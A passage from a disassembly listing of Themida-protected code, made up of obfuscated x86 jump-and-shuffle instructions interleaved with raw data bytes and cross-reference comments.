XREF: Themida_:0055DFE1j mov esi, 78743BB7h push 139Eh mov [esp], edi jmp loc_5646A3 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 9C240409h, 0FEE888E9h db 0FFh ; --------------------------------------------------------------------------- loc_56EA65: ; CODE XREF: Themida_:005667C8j add edx, 4 jmp loc_561DF2 ; --------------------------------------------------------------------------- dd 465BDE89h, 0A9A5F681h, 0F7317C52h, 0FF643DE9h, 48B66FFh dd 0E6895624h, 4BB53h, 0DE010000h, 8014E95Bh, 48FFFFFh dd 7A556824h, 6EE90000h, 89FFFF37h, 0A968243Ch, 89000072h dd 4812424h, 424h, 0F8C5E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56EABA: ; CODE XREF: Themida_:0056508Cj mov ebp, 42AC5CE0h xor ebp, 34156AB5h push ebp not dword ptr [esp] pop ebp add ebp, 76B93658h add edi, ebp pop ebp push 30C9h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_56E192 ; --------------------------------------------------------------------------- db 55h dd 7F69F7BDh, 8602E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EAF6: ; CODE XREF: Themida_:0056A67Cj xor ah, 5 inc ah jmp loc_561647 ; --------------------------------------------------------------------------- loc_56EB00: ; CODE XREF: Themida_:0056A492j pop dword ptr [esp] jmp loc_568177 ; --------------------------------------------------------------------------- dd 0C828DC2Ch, 0E951DC04h, 20EBh, 9E95351h, 88FFFF63h dd 0E9F188C6h, 0FFFFEF0Ah, 0EB81C301h, 72E34957h, 9EFE958h dd 0E1810000h, 5DA05A1Bh, 7D03BA52h, 0D10143EDh, 4EC815Ah dd 89000000h, 14F7240Ch, 0C1815924h, 0B0A8AFB6h, 0FFFE77E9h db 0FFh ; --------------------------------------------------------------------------- loc_56EB59: ; CODE XREF: Themida_:0056A2B3j pop edi jmp loc_56D3D5 ; --------------------------------------------------------------------------- loc_56EB5F: ; CODE XREF: Themida_:0055E607j add ecx, 332A7E46h or ecx, 4554265Ah xor ecx, 57156F79h jmp loc_570D90 ; --------------------------------------------------------------------------- dw 0D7F7h dd 6B96E781h, 0EF81680Eh, 2E757AD7h, 59ABC781h, 0F7811E55h dd 1A937425h, 2DE9FB01h, 89FFFF60h, 8BB241Ch, 31235F92h dd 241C8BD8h, 3E9CE9h db 0 ; --------------------------------------------------------------------------- loc_56EBA9: ; CODE XREF: Themida_:005633B2j pop eax add dl, bl pop ebx and dl, 2Ch jmp loc_570651 ; --------------------------------------------------------------------------- db 89h, 0E2h, 0E9h dd 0FFFF5E4Dh, 4C181h, 0EC830000h, 24348904h, 7E41BA52h dd 0EAD10CCCh, 0CECF281h, 0D6892A92h, 8324148Bh, 0F68104C4h dd 612C52BEh, 241CF756h, 0FF9B64E9h, 2E6C1FFh, 7574B850h dd 0BC3562DDh, 14DB9EFh, 0F2C0E9C6h, 515DFFFFh, 4B76BEB9h dd 0E9CF290Fh, 0FFFF1A44h ; --------------------------------------------------------------------------- loc_56EC10: ; CODE XREF: Themida_:0056D9B2j push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp and eax, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_570AA9 ; --------------------------------------------------------------------------- loc_56EC2C: ; CODE XREF: Themida_:0057118Bj push 5D1E6AF9h pop esi xchg ebx, esi xchg edx, ebx not edx xchg edx, ebx xchg ebx, esi dec esi sub esi, 6A8B6E45h push ebx jmp loc_567D09 ; --------------------------------------------------------------------------- loc_56EC49: ; CODE XREF: Themida_:005668BCj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 837h mov [esp], ebp jmp loc_567A0C ; --------------------------------------------------------------------------- loc_56EC66: ; CODE XREF: Themida_:0055F4D3j sub ebx, 632D725Ch mov esi, [esp] add esp, 4 jmp loc_5621F3 ; --------------------------------------------------------------------------- loc_56EC77: ; CODE XREF: Themida_:0056728Aj add ebp, 4083251Dh xor ebp, 35DB3363h shl ebp, 5 shr ebp, 6 jmp loc_570D1F ; --------------------------------------------------------------------------- dw 0B951h dd 246B4865h, 4D3BC981h, 0C981283Ah, 386F25ABh, 0E3ABD55h dd 0E94D2794h, 0FFFF9C30h ; --------------------------------------------------------------------------- loc_56ECAC: ; CODE XREF: Themida_:0056B564j push ebp jmp loc_55DB8D ; --------------------------------------------------------------------------- dw 8B66h dd 0FFE92404h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56ECBB: ; CODE XREF: Themida_:0056C645j pop esp mov [esp], edi push 522Ah mov [esp], ebx mov ebx, 0 push eax push 73ECh mov [esp], esp jmp loc_57223D ; --------------------------------------------------------------------------- loc_56ECDA: ; CODE XREF: Themida_:0056AF85j add ebp, 4 xchg ebp, [esp] pop esp sub edx, 6613B46h jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56ECEF: ; CODE XREF: Themida_:00564DE0j mov eax, [esp] jmp loc_55F20A ; --------------------------------------------------------------------------- db 57h dd 0FFC516E9h, 0C3815BFFh, 20ED5DD1h, 2267E9h db 0 ; --------------------------------------------------------------------------- loc_56ED09: ; CODE XREF: Themida_:0056C5DFj pop esp pop eax sub eax, 52596E99h pop edx or eax, 7B290C3Eh shr eax, 5 neg eax shr eax, 2 push edi mov edi, 227614B1h shl edi, 2 inc edi neg edi jmp loc_5622C8 ; --------------------------------------------------------------------------- db 81h dd 814D51C3h, 64BBE917h, 27B8FFFFh, 89130016h, 5DC8E9C6h dd 15EFFFFh, 712D5AD0h, 8B631B53h, 0E952242Ch, 2990h, 58C5215Ah dd 2BFBE9h, 24148B00h, 4C481h, 0EA810000h, 71E34C25h, 0C281DA29h dd 71E34C25h, 5B2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_562A36 ; --------------------------------------------------------------------------- db 64h dd 52E9028Fh, 33FFFEE5h, 4312404h, 24043324h, 8924248Bh dd 0D8E9241Ch db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56EDAF: ; CODE XREF: Themida_:00566491j push edi add dword ptr [esp], 37E9004Dh pop esi sub esi, 37E9004Dh mov edi, [esp] add esp, 4 push 19A1h mov [esp], esi pop ebx pop esi jmp loc_56C4D4 ; --------------------------------------------------------------------------- db 89h dd 50BD242Ch, 454BCC7Bh, 8701ED83h, 87D2F7D5h, 0EC581D5h dd 294C4C8Dh, 41A4E9EEh, 8B66FFFFh, 5252240Ch, 27B7E9h dd 0E9F38700h, 0FFFF8C2Ch, 55C5C581h, 0D5293DA6h, 55C5ED81h dd 148B3DA6h, 4C48324h, 3869E9h db 0 ; --------------------------------------------------------------------------- loc_56EE1D: ; CODE XREF: Themida_:0056E0AEj pop esi push edx mov edx, 24C06F4Ah jmp loc_5648FB ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0B9515D54h, 6ECA52A1h, 55C2F181h, 0BA522EEFh, 4025075Fh dd 0FFF18CE9h, 0BF5756FFh, 496E37ADh, 6D6836BEh, 0E9FE296Ah dd 0FFFFDEACh ; --------------------------------------------------------------------------- loc_56EE58: ; CODE XREF: Themida_:00567C74j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 jmp loc_56DFEB ; --------------------------------------------------------------------------- dd 3732BA52h, 0D6012C0Eh, 241C8B5Ah, 4C481h, 0CE810000h dd 162529E5h, 24D46852h, 2C890000h, 2B7FBD24h, 62E912F8h dd 58FFFF03h, 259CF781h, 0EA817A9Dh, 30241591h, 10A5C281h dd 0FA29246Ch, 10A5EA81h, 0C281246Ch, 30241591h, 0FFEA98E9h dd 9EBD55FFh, 0C13E4A08h, 0EDC102EDh, 0E94D4D08h, 0FFFF3A22h dd 1F7F57BEh, 5EF0293Ch, 0CEE9E829h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EEE3: ; CODE XREF: Themida_:0056AB87j mov esp, [esp] or [esp], al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- db 50h dd 0FF5B2FE9h, 24248BFFh, 0FF0282E9h, 243433FFh, 0F624248Bh dd 0B60F66F9h, 0EB86E9CCh, 159FFFFh, 89535FF9h, 4C381E3h dd 83000000h, 1C8704EBh, 0A1E95C24h db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EF27: ; CODE XREF: Themida_:00566B61j push dword ptr [esp+4] mov edi, [esp] push edx mov edx, esp push esi push edi mov edi, 4805599h neg edi jmp loc_55FAAA ; --------------------------------------------------------------------------- db 83h dd 1C8704EBh, 9D0CE924h, 4BBFFFFh, 0E9000000h, 0FFFF3706h dd 20BA68h, 243C8900h, 588FE951h, 2C89FFFFh, 815D5424h dd 4ECh, 1C05E900h, 89560000h, 16E957E6h, 81FFFF9Dh, 7F5E4DEDh dd 240C8B5Dh, 0FF2860E9h, 24E981FFh, 0C1265B43h, 0BA5207E9h dd 0FE4C8943h, 1BE9D101h, 0BFFFFFC3h, 4, 0FFCF7DE9h, 243C8BFFh dd 8104C483h, 4ECh, 24348900h, 6DE9E689h, 53FFFEE7h, 172F6855h dd 0E95D51E5h, 0FFFFC292h ; --------------------------------------------------------------------------- loc_56EFCC: ; CODE XREF: Themida_:00564AB2j and eax, esi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] jmp loc_56D056 ; --------------------------------------------------------------------------- dd 0C581DDF7h, 74466680h, 525DEB89h, 0D54851BAh, 0F7D2F75Fh dd 46EA81D2h, 0E90AFDECh, 0FFFF54BDh ; --------------------------------------------------------------------------- loc_56EFFC: ; CODE XREF: Themida_:005711BEj and eax, ebp pop ebp or eax, eax jz loc_55DE5C push 7BF0h mov [esp], ebx push ebp mov ebp, 37E6295Bh mov ebx, 37E62947h jmp loc_563DA5 ; --------------------------------------------------------------------------- db 87h dd 0F58746F5h, 0DEBF5745h, 4F28296Eh, 6B2DE781h, 0EF817A6Ch dd 23547734h, 461FC781h, 0B4E90002h, 81FFFEEAh, 0F7125FE9h dd 8BCB0137h, 0C483240Ch, 4C38304h, 0FF45D1E9h, 4BA52FFh dd 0E9000000h, 0FFFF818Bh, 0B9240C89h, 35B755EDh, 34FFC831h dd 0E9555924h, 0FFFEE80Dh, 62A068h, 241C8900h, 0B7536650h dd 66FC88B8h, 0E9E7885Bh, 0FFFFA055h, 575DE989h, 8176FFBFh dd 5FFD011Ch, 0BA52CD01h, 1C8176FFh, 5CEC581h, 0D5294B97h dd 5CEED81h, 0FF5A4B97h, 56592434h, 0C681E689h, 4, 8704C683h dd 685C2434h, 7DE5h, 0FF242C89h, 0FF042474h, 835D2434h dd 48F04C4h, 3AE2E924h, 77FFFFFFh, 11589D1Ch, 0E99C2404h dd 0FFFEE1FDh, 53242C89h, 0AD761768h, 44815B45h, 74650424h dd 5C296FFCh, 6C810424h, 74650424h, 8B5B6FFCh, 0C4812404h dd 4, 0E904EC83h, 0FFFF82E9h ; --------------------------------------------------------------------------- loc_56F120: ; CODE XREF: Themida_:0056D17Fj push eax mov eax, 6634E09h inc eax sub eax, 6634E06h sub esi, eax pop eax xor esi, [esp] jmp loc_56802B ; --------------------------------------------------------------------------- loc_56F137: ; CODE XREF: Themida_:0055E890j add eax, 5BFC0DE2h jmp loc_56B04C ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 39h dd 0BEFFFFC6h, 33102AFFh, 0C15EF721h, 0F78106EFh, 1FF1546Eh dd 0FF28A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F15D: ; CODE XREF: Themida_:00561495j mov esp, [esp] jmp loc_56D9BF ; --------------------------------------------------------------------------- db 0BFh, 90h, 48h dd 8AE96162h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F16F: ; CODE XREF: Themida_:00570E0Bj pop ebp not ebp xchg eax, ebp xor [esp], eax xor eax, [esp] xor [esp], eax push dword ptr [esp] jmp loc_55F250 ; --------------------------------------------------------------------------- loc_56F184: ; CODE XREF: Themida_:0056F91Fj mov [esp], esi mov esi, 59C8200Ch xor ecx, esi push dword ptr [esp] pop esi push 10B2h mov [esp], edi mov edi, esp push eax mov eax, 0EA416DAh add eax, 0F15BE92Ah add edi, eax pop eax jmp loc_56243B ; --------------------------------------------------------------------------- loc_56F1AF: ; CODE XREF: Themida_:0056C172j or eax, eax jz loc_56A3DE push ebx push esp mov ebx, [esp] jmp loc_56D5EF ; --------------------------------------------------------------------------- loc_56F1C1: ; CODE XREF: Themida_:00567061j add edi, 4 xchg edi, [esp] pop esp add esp, 4 push ebp jmp loc_57003E ; --------------------------------------------------------------------------- loc_56F1D7: ; CODE XREF: Themida_:0055D851j sub ebx, ecx xchg ebx, ecx pop ebx xchg ecx, esi xor esi, 0E4A89D82h mov edi, esi jmp loc_56A73D ; --------------------------------------------------------------------------- aZ_1 db '┤,$\',0 dd 0E99C2404h, 0FFFEE0F5h, 4C481h, 0A3E90000h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56F203: ; CODE XREF: Themida_:0055E09Aj pop edx add esp, 4 jmp loc_571D10 ; --------------------------------------------------------------------------- dd 4C48159h, 51000000h, 0FFC5F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F219: ; CODE XREF: Themida_:0057008Fj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_567A94 ; --------------------------------------------------------------------------- loc_56F22C: ; CODE XREF: Themida_:0056579Dj xor edi, edx mov edx, [esp] add esp, 4 jmp loc_570A25 ; --------------------------------------------------------------------------- db 56h, 0BEh, 0A4h dd 0C124B278h, 524E06EEh, 6ACD4FBAh, 5AD62952h, 0FF0B4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56F251: ; CODE XREF: Themida_:00560167j xor edi, 52FA715Ch jmp loc_56F2B1 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFF72DBh, 4B8h, 58C22900h, 0E9241487h dd 0FFFF82F7h, 0E924148Bh, 0FFFFE995h, 8B24048Fh, 5E92424h dd 0FFFFFF78h, 48B2434h, 0C49EE924h, 0FA29FFFFh, 8904EC83h dd 90BE2434h, 8177402Dh, 22463FF6h, 0B32AE956h, 0AB2CFFFFh dd 0FFCFAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_56F2B1: ; CODE XREF: Themida_:0056F257j mov edx, edi pop edi add edx, ebx jmp loc_5647AD ; --------------------------------------------------------------------------- loc_56F2BB: ; CODE XREF: Themida_:0055E0BCj pop ecx xchg edi, [esp] jmp loc_561B1E ; --------------------------------------------------------------------------- dd 6624248Bh, 5300B60Fh, 0E956E389h, 0FFFF7F59h, 4C481h dd 4330000h, 24043124h, 8B240433h, 0A0E92424h, 50FFFF56h dd 0FFADCCE9h db 0FFh ; --------------------------------------------------------------------------- loc_56F2F1: ; CODE XREF: Themida_:005650B3j mov edx, 0E1F5897h mov ebp, 73A922F3h jmp loc_56B6E7 ; --------------------------------------------------------------------------- loc_56F300: ; CODE XREF: Themida_:00567A07j push 969h mov [esp], esi mov esi, 0DF2335F9h push edi mov edi, 396D26C8h jmp loc_55D7AC ; --------------------------------------------------------------------------- dd 240C8B66h, 52DC68h, 243C8900h, 1BC268h, 8248E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F32E: ; CODE XREF: Themida_:005706DBj mov ebp, 13EC90DEh add esi, ebp mov ebp, [esp] push eax mov eax, esp jmp loc_55E61C ; --------------------------------------------------------------------------- dd 68241489h, 5B0Dh, 81242489h, 42404h, 71E90000h, 87FFFF91h dd 0E95752CFh, 0FFFF30E6h ; --------------------------------------------------------------------------- loc_56F360: ; CODE XREF: Themida_:00567D92j push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp push ecx mov ecx, 3BB66CAFh inc ecx jmp loc_56A187 ; --------------------------------------------------------------------------- dw 0D330h dd 0FF3B73E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F37D: ; CODE XREF: Themida_:0057102Fj push ebx mov ebx, 13D62849h mov ebp, ebx jmp loc_564879 ; --------------------------------------------------------------------------- dw 0C781h dd 14D735C3h, 4654CF81h, 0C78104B3h, 9D58D2D9h, 0CBE9F989h dd 66FFFF2Ah, 42E9028Fh, 1FFFEDFh, 0BF575AD6h, 4, 34FFFE01h dd 583CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F3BE: ; CODE XREF: Themida_:0057032Cj mov edi, [esp] add esp, 4 mov eax, ebp jmp loc_569030 ; --------------------------------------------------------------------------- loc_56F3CE: ; CODE XREF: Themida_:00562B8Aj mov [esp], edx jmp loc_56CD78 ; --------------------------------------------------------------------------- dw 182Ch dd 1804C800h, 8045B659h, 0C680E4C6h, 0E9C628CFh, 0FFFFB303h dd 5224048Fh, 4BAh, 24540100h, 7579E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F3FE: ; CODE XREF: Themida_:005659FBj sub eax, 4F9C2D39h mov esi, eax jmp loc_56CA7C ; --------------------------------------------------------------------------- dw 1431h dd 24143324h, 2424895Ch, 0FFD314E9h, 2CC381FFh, 5838926Eh dd 8904EC83h, 22E9241Ch db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F42B: ; CODE XREF: Themida_:0056CE32j push edx jmp loc_5646CA ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 1307E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F43A: ; CODE XREF: Themida_:00566ECEj push eax mov eax, 307A62BCh add ebp, eax pop eax mov ecx, [esp] add esp, 4 and eax, ebp pop ebp or eax, eax jz loc_56B897 push dword ptr [edi+1Ch] push edi push esp pop edi add edi, 4 jmp loc_560B1F ; --------------------------------------------------------------------------- loc_56F465: ; CODE XREF: Themida_:00566850j xor edx, edx push edx push ebx push esi mov esi, 3A51167Ch add [esp+4], esi mov esi, [esp] jmp loc_55E091 ; --------------------------------------------------------------------------- loc_56F47B: ; CODE XREF: Themida_:0056404Dj xor ecx, 1521FA5Ch jmp loc_563B54 ; --------------------------------------------------------------------------- loc_56F486: ; CODE XREF: Themida_:0056BEEDj and edx, 62B32125h xor edx, 422D1ED2h add edx, 0F85DF8h push edi mov edi, 0DE7B6239h add edx, edi jmp loc_565D74 ; --------------------------------------------------------------------------- loc_56F4A5: ; CODE XREF: Themida_:005620AAj add eax, edi push ebx jmp loc_561E64 ; --------------------------------------------------------------------------- loc_56F4AD: ; CODE XREF: Themida_:005621EEj mov esi, 72243429h add esi, 4008112Eh shr esi, 3 add esi, 0E754A131h jmp loc_564BB1 ; --------------------------------------------------------------------------- dw 0EF81h dd 0EEDAF6F3h, 0C15FFE89h, 0E68103EEh, 4CD05A9Eh, 0A71F681h dd 0DEF778ACh, 0FF8DDAE9h, 0F6866FFh, 0C896664h, 79FC6824h dd 1C890000h, 5319B724h, 40B25250h, 0E95AD488h, 0FFFFEA42h ; --------------------------------------------------------------------------- loc_56F504: ; CODE XREF: Themida_:00569877j add esp, 4 push ecx push esi add dword ptr [esp], 78E43734h pop ecx sub ecx, 78E43734h mov ebp, ecx jmp loc_5706AD ; --------------------------------------------------------------------------- db 56h, 68h, 4 dd 0E9000000h, 2018h ; --------------------------------------------------------------------------- loc_56F52C: ; CODE XREF: Themida_:0056BEDEj add ebp, 0FFFFFFFFh jmp loc_5707E9 ; --------------------------------------------------------------------------- loc_56F537: ; CODE XREF: Themida_:00562854j pop eax jmp loc_56E1EB ; --------------------------------------------------------------------------- loc_56F53D: ; CODE XREF: Themida_:0055FDEAj mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_562530 ; --------------------------------------------------------------------------- dd offset dword_5A3568 dd 0F49AE900h, 0EB81FFFEh, 19CA9EEh, 835BD801h, 2CE904E8h dd 53FFFFF8h, 0FF894CE9h, 81D2F7FFh, 41F655C2h, 48152FAh dd 0EC7C6224h, 0BBE95E42h, 8300000Eh, 0EC81FFE8h, 4, 0BB241C89h dd 23B62372h, 39CB8143h, 8137453Ah, 8DFE1FC3h, 5BD8210Ch dd 4A77BA52h, 0F6E92F29h, 68FFFF2Fh, 1C28h, 83242489h dd 5A042404h, 3F3A68h, 5DDBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F5CE: ; CODE XREF: Themida_:00569065j push edx jmp loc_5635FE ; --------------------------------------------------------------------------- dd 0BE56C201h, 5C916BD0h, 0DEF7DEF7h, 94BB534Eh, 315CCF79h dd 53575BDEh, 0FF4EBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_56F5F1: ; CODE XREF: Themida_:0056CEBAj mov [esp], esi jmp loc_5627AB ; --------------------------------------------------------------------------- db 5, 13h, 33h dd 0E82958B2h, 0B233132Dh, 55685D58h, 89000007h, 0CE68243Ch dd 89000057h, 9DB82404h, 5672BD22h, 4E182CBEh, 33B6E94Ah dd 0C3280000h, 66CCEB80h, 80CAB551h, 0EB80E1EBh, 261AE9C3h dd 8B660000h, 8356240Ch, 248904ECh, 4BA5224h, 1000000h dd 5A042454h, 1A4C685Eh, 2C890000h, 0C061E924h, 0D789FFFFh dd 5FFE895Ah, 1BF57h, 1CE90000h db 0FDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56F66F: ; CODE XREF: Themida_:00567885j xor eax, 7CA87C6Dh sub eax, 9C7F465Ch and ebp, eax mov eax, [esp] add esp, 4 jmp loc_55F1D2 ; --------------------------------------------------------------------------- loc_56F686: ; CODE XREF: Themida_:00567611j push edx jmp loc_567A51 ; --------------------------------------------------------------------------- dd 0C2882B04h, 0E9E22858h, 0FFFEF7E7h ; --------------------------------------------------------------------------- loc_56F698: ; CODE XREF: Themida_:0055E97Fj mov eax, 62412F9Eh mov edx, 2506487Ch push ecx mov ecx, 338C3F1Eh sub edx, ecx jmp loc_56D127 ; --------------------------------------------------------------------------- loc_56F6AF: ; CODE XREF: Themida_:00565A1Bj inc ebp dec ebp add ebp, 0C936566Bh jmp loc_561997 ; --------------------------------------------------------------------------- dd 15BD901h, 4AE981E9h, 8B233009h, 0C481242Ch, 4, 2B850h dd 20E90000h, 6600002Ch, 28E9D387h, 33FFFFDBh, 1C31241Ch dd 241C3324h, 0FE24248Bh, 0E99C240Ch, 0FFFEDBF5h, 2BE9C800h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F6FF: ; CODE XREF: Themida_:00568340j sub esi, edi pop edi and eax, esi push dword ptr [esp] pop esi jmp loc_5604BF ; --------------------------------------------------------------------------- db 81h, 0C1h, 15h dd 29786E1Ah, 0BB87E9CAh, 1487FFFFh, 565F5C24h, 21FA6852h dd 0E3E958ADh, 0BEFFFF86h, 28C35898h, 0FFD2D2E9h, 5F001FFh dd 50272CFFh, 15EF815Eh, 8107F446h, 0CA490EC7h, 3BEF8145h dd 100E07Bh, 3BC781C7h, 8100E07Bh, 0CA490EEFh, 15B85045h dd 107F446h, 0E95858C7h, 0FFFFCE9Ch ; --------------------------------------------------------------------------- loc_56F76C: ; CODE XREF: Themida_:00561AAEj add ebx, 19C168Eh add ebx, edi sub ebx, 19C168Eh jmp loc_570D76 ; --------------------------------------------------------------------------- loc_56F77F: ; CODE XREF: Themida_:0056BA21j xor edi, offset byte_480001 add ebx, edi jmp loc_56B40F ; --------------------------------------------------------------------------- loc_56F78C: ; CODE XREF: Themida_:00569BDDj sub esp, 4 mov [esp], esi mov esi, 4923666Ch add ebp, esi jmp loc_571EC2 ; --------------------------------------------------------------------------- db 1, 0E8h, 5Dh dd 0FF2DE801h, 0E916CC6Eh, 26D9h, 104068h, 240C8900h, 0BD55E189h dd 4, 0FFE73FE9h, 0CD6853FFh, 5400006Eh, 8124048Fh, 42404h dd 815B0000h, 4C3h, 4EB8300h, 5C241C87h, 0E9240C89h, 0FFFFDFAFh dd 0BA52E801h, 3F36604Eh, 55AD001h, 35171464h, 0A138952Dh dd 242C8B4Dh, 4C481h, 2050000h, 33000000h, 4312404h, 832DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F81A: ; CODE XREF: Themida_:00571052j dec esi not esi not esi jmp loc_55D8BF ; --------------------------------------------------------------------------- dd 8124248Bh, 0E654D7F5h, 0FC38115h, 0E97FB547h, 0DBFh dd 0E9243C89h, 0FFFEE546h, 50CF681h, 0EEC1707Bh, 1C68108h dd 55000000h, 135873BDh, 0E9EE3100h, 0FFFEF2D1h, 4FC968h dd 24248900h, 0FF463CE9h, 0C8B66FFh, 0E9545724h, 0FFFFF8CDh dd 0E924348Bh, 0FFFFFA58h, 295BD829h, 3D0F05C8h, 87596C1Dh dd 1CE92404h, 66FFFFE4h, 0E924048Bh, 0FFFF8EAEh, 4C2815Ch dd 55000000h, 0F50FE950h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56F8A6: ; CODE XREF: Themida_:005669B9j shr edi, 6 add edi, 0FD6ADC5Eh add ebx, edi pop edi jmp loc_56DBA3 ; --------------------------------------------------------------------------- db 5Dh dd 4B850h, 0C5010000h, 4B6E958h, 0C481FFFFh, 4, 4C281h dd 68570000h, 2FA0h, 50242C89h, 502318B8h, 3607BD6Dh, 0C5297830h dd 5DEF8958h, 3518C781h, 0CF815CF3h, 46F9659Ah, 87D7874Fh dd 0D489E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F902: ; CODE XREF: Themida_:00562534j sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp sub esp, 4 jmp loc_56F184 ; --------------------------------------------------------------------------- dd 243C875Eh, 2434335Ch, 33243431h, 0D9E92434h db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56F937: ; CODE XREF: Themida_:0056A711j mov ebp, 66470A4Ch add ebp, 55317CB4h sub ebp, 978C5044h mov esi, ebp pop ebp jmp loc_566FEB ; --------------------------------------------------------------------------- loc_56F950: ; CODE XREF: Themida_:005691B3j pop edx mov esi, ecx pop ecx push edi mov edi, 40214940h sub dword ptr [esp+8], 5E0C4983h sub [esp+8], edi push ebx jmp loc_56BF9B ; --------------------------------------------------------------------------- aBCRhn db '│цГ#',0Dh,'ЮhN$',0 dw 8900h dd 0E955241Ch, 0FFFF1052h, 0E9241487h, 0FFFEEBF5h ; --------------------------------------------------------------------------- loc_56F988: ; CODE XREF: Themida_:00565CC0j push eax push 7CBF599Eh mov eax, [esp] add esp, 4 neg eax add eax, 0BC0F6075h jmp loc_55E494 ; --------------------------------------------------------------------------- db 35h dd 8A335E43h, 7FDEB951h, 0C1815D5Ch, 0BCA8467h, 0E959CE29h dd 0FFFF03E8h, 4C481h, 0CA010000h, 29BFE9h, 0EB875B00h dd 68EB874Dh, 0 dd 0FF3BDFE9h, 242C8BFFh, 0FF4521E9h, 726135FFh, 0BB537A0Eh dd 5AB80069h, 0FF3630E9h, 4C583FFh, 5C242C87h, 0C280DAF6h dd 5AD02837h, 0FF72E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_56FA05: ; CODE XREF: Themida_:0056D309j sub dword ptr [esp+4], 318D0DB9h add [esp+4], eax add dword ptr [esp+4], 318D0DB9h pop eax pop edi sub edi, 1DC41F21h mov ebx, [esp] add esp, 4 push edi jmp loc_562408 ; --------------------------------------------------------------------------- db 0B9h, 29h, 7Ch dd 0CD317C90h, 0EBBE959h, 0BF0000h, 29FC40E8h, 0D8015FF8h dd 6F74E95Bh, 895CFFFFh, 4832424h, 6FE90424h, 80000005h dd 0D300B4F2h, 0FBC4E95Ah, 0C483FFFFh, 24048F04h, 0E924248Bh dd 0FFFFD0C1h ; --------------------------------------------------------------------------- loc_56FA70: ; CODE XREF: Themida_:0056B584j shr ebx, 6 not ebx xor ebx, 63ED5116h shr ebx, 8 push edx mov edx, 2C86A1DFh xor ebx, edx pop edx xor esi, ebx pop ebx mov ebp, esi pop esi push eax jmp loc_55FDBA ; --------------------------------------------------------------------------- db 33h dd 248B2404h, 4896624h, 8DC8E924h, 0EF80FFFFh, 51C7FEFFh dd 0B514B753h, 5E4BE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FAB2: ; CODE XREF: Themida_:0056949Bj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_568387 ; --------------------------------------------------------------------------- dd 4C5815Dh, 81000000h, 4EDh, 242C8700h, 2434895Ch, 2434FF54h dd 0E689565Eh, 4C681h, 0C6830000h, 24348704h, 4C6815Ch dd 83000000h, 586804C6h, 89000035h, 74FF2434h, 79E90424h dd 81FFFF13h, 4E9h, 240C8700h, 0FEF07EE9h, 40478FFFh, 0FED7CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_56FB21: ; CODE XREF: Themida_:0056FF14j mov ecx, esi sub esp, 4 mov [esp], edx mov edx, ecx push edx mov ebp, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_572246 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 8704C583h, 248B242Ch, 40BB5324h, 514EE800h dd 8F04FBB9h, 59CB0168h, 53FF381h, 0DD01B777h, 242C875Bh dd 7436685Ch, 3C890000h, 0AE95424h, 59FFFFBEh, 4EC81h dd 14890000h, 895A5D24h, 0D8315DEBh, 56241C8Bh, 0C681E689h dd 4, 8704C683h, 22E92434h, 0F7FFFEE5h, 4BC781DFh, 81319464h dd 425806F7h, 83E95558h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FBB3: ; CODE XREF: Themida_:00566CC2j mov ebp, 14780286h jmp loc_564575 ; --------------------------------------------------------------------------- db 0BEh, 87h, 6Ah dd 0F5012658h, 8324348Bh, 555804C4h, 42474FFh, 24048F5Dh dd 0E9F1F65Ch, 0FFFF2C7Dh, 6B685355h, 0E9487650h, 0FFFEEF6Fh dd 8904EC83h, 43E92414h db 8Fh, 2 